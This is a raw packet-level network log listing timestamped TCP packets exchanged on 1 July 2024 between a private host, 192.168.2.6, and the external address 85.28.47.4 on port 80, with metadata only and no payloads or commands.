Jul 1, 2024 07:20:45.028038979 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.028083086 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.028111935 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.028125048 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.028134108 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.028151035 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.028158903 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.028165102 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.028176069 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.028177977 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.028201103 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.028222084 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.028359890 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.028372049 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.028384924 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.028395891 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.028398991 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.028414965 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.028417110 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.028431892 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.028438091 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.028461933 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.028477907 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.028495073 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.028496027 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.028517008 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.028527021 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.028553009 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.028565884 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.028577089 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.028589964 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.028593063 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.028601885 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.028603077 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.028628111 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.028655052 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.028773069 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.028814077 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.028821945 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.028836012 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.028862000 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.028875113 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.028906107 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.028918982 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.028930902 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.028942108 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.028943062 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.028959036 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.029120922 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.029134035 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.029151917 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.029150963 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.029150963 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.029164076 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.029176950 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.029186010 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.029189110 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.029201984 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.029211998 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.029212952 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.029223919 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.029228926 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.029242039 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.029253960 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.029309034 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.029309034 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.029442072 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.029454947 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.029488087 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.029495001 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.029508114 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.029520035 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.029520035 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.029531956 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.029536009 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.029547930 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.029548883 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.029567003 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.029587030 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.029726982 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.029740095 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.029752016 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.029763937 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.029776096 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.029776096 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.029783010 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.029784918 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.029947042 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.029958010 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.029969931 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.029978037 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.029978037 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.029982090 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.029994965 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.030009985 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.030035019 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.030230045 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.030241966 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.030261993 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.030272961 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.030284882 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.030291080 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.030291080 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.030297995 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.030311108 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.030313015 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.030324936 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.030337095 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.030342102 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.030354023 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.030380011 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.030384064 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.030395031 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.030400991 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.030412912 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.030426979 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.030431032 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.030440092 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.030452013 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.030462027 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.030462980 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.030477047 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.030498981 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.030507088 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.030533075 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.030782938 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.030795097 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.030814886 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.030827045 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.030836105 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.030848980 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.030848980 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.030867100 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.030881882 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.030900002 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.031081915 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.031100035 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.031111002 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.031120062 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.031131029 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.031137943 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.031146049 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.031150103 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.031158924 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.031167984 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.031172037 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.031183958 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.031188011 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.031199932 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.031202078 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.031214952 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.031217098 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.031228065 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.031234026 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.031241894 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.031254053 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.031254053 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.031267881 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.031287909 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.031311035 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.031630039 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.031641960 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.031661034 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.031672001 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.031672955 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.031682968 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.031687021 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.031696081 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.031708002 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.031709909 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.031719923 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.031735897 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.031738997 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.031749964 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.031754971 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.031763077 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.031774044 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.031779051 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.031785965 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.031796932 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.031797886 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.031810999 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.031826973 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.031841040 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.124154091 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.124172926 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.124185085 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.124264002 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.124300003 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.124313116 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.124337912 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.124351025 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.124366999 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.124375105 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.124392986 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.124555111 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.124579906 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.124596119 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.124644995 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.124659061 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.124670982 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.124681950 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.124684095 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.124703884 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.124730110 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.124757051 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.124768972 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.124783993 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.124789953 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.124808073 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.124819994 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.124849081 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.124881029 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.125035048 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.125047922 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.125061035 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.125071049 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.125086069 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.125112057 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.125119925 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.125133038 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.125144958 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.125149965 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.125169992 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.125180006 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.125220060 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.125232935 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.125246048 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.125255108 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.125258923 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.125266075 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.125272989 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.125283957 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.125294924 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.125312090 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.125554085 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.125566959 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.125579119 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.125591040 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.125602961 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.125614882 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.125633955 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.125646114 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.125720024 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.125720024 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.125720978 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.125720978 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.125720978 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.125929117 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.125941992 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.125952959 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.125963926 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.125966072 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.125977993 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.125989914 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.125993013 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.126015902 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.126019001 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.126034975 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.126034021 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.126056910 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.126075983 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.126269102 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.126302004 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.126339912 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.126373053 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.126487970 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.126501083 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.126511097 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.126523018 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.126527071 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.126535892 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.126543999 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.126550913 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.126564026 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.126574039 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.126589060 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.126590014 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.126615047 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.126630068 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.126791954 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.126805067 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.126816988 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.126827002 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.126831055 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.126842022 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.126849890 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.126866102 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.126873970 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.126887083 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.126887083 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.126900911 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.126910925 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.126928091 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.127007961 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.127021074 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.127043009 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.127064943 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.127314091 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.127326965 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.127338886 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.127348900 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.127352953 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.127365112 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.127368927 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.127382994 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.127383947 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.127410889 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.127518892 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.127531052 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.127542973 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.127553940 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.127554893 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.127578020 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.127600908 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.127619028 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.127651930 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.127799034 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.127811909 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.127823114 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.127835035 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.127844095 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.127857924 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.127870083 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.127870083 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.127883911 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.127888918 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.127897978 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.127909899 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.127911091 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.127923012 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.127931118 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.127935886 CEST	80	49711	85.28.47.4	192.168.2.6
